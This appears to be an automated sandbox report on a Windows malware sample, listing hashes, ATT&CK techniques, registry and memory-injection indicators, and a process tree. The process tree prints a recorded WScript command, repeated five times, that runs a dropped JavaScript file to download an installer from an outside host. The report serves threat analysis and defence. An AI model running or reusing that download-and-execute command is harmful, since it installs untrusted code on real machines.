90c1a293e0e53e0bce3757aa6f0be2be93643c35566930788b2d091582f6ab62

General

Target

6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe
Size

184KB
MD5

6bd853382d3348142617153794ac6aa3
SHA1

69459c8eb0b31858b738a8223872c2eeafb01e77
SHA256

90c1a293e0e53e0bce3757aa6f0be2be93643c35566930788b2d091582f6ab62
SHA512

ccaf2316595c470e2ce99b9d24c2cecf7a69bc11560d46e9639fe3e8e8bc850557ae74f7767baf3c13c3b3a5bbf97f7b4ff58c970df16432dc90481295b6e62b
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3K:/7BSH8zUB+nGESaaRvoB7FJNndnP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow pid process

12 2724 WScript.exe
25 1612 WScript.exe
26 1612 WScript.exe
28 940 WScript.exe
40 1808 WScript.exe
41 1808 WScript.exe
43 316 WScript.exe

flow	pid	process
12	2724	WScript.exe
25	1612	WScript.exe
26	1612	WScript.exe
28	940	WScript.exe
40	1808	WScript.exe
41	1808	WScript.exe
43	316	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

Processes:

6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe

description	pid	process	target process
PID 3028 wrote to memory of 2724	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 2724	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 2724	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 1612	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 1612	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 1612	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 940	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 940	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 940	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 1808	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 1808	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 1808	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 316	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 316	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe
PID 3028 wrote to memory of 316	3028	6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3028

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
2⤵
- Blocklisted process makes network request
PID:2724

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
2⤵
- Blocklisted process makes network request
PID:1612

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
2⤵
- Blocklisted process makes network request
PID:940

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
2⤵
- Blocklisted process makes network request
PID:1808

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
2⤵
- Blocklisted process makes network request
PID:316

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads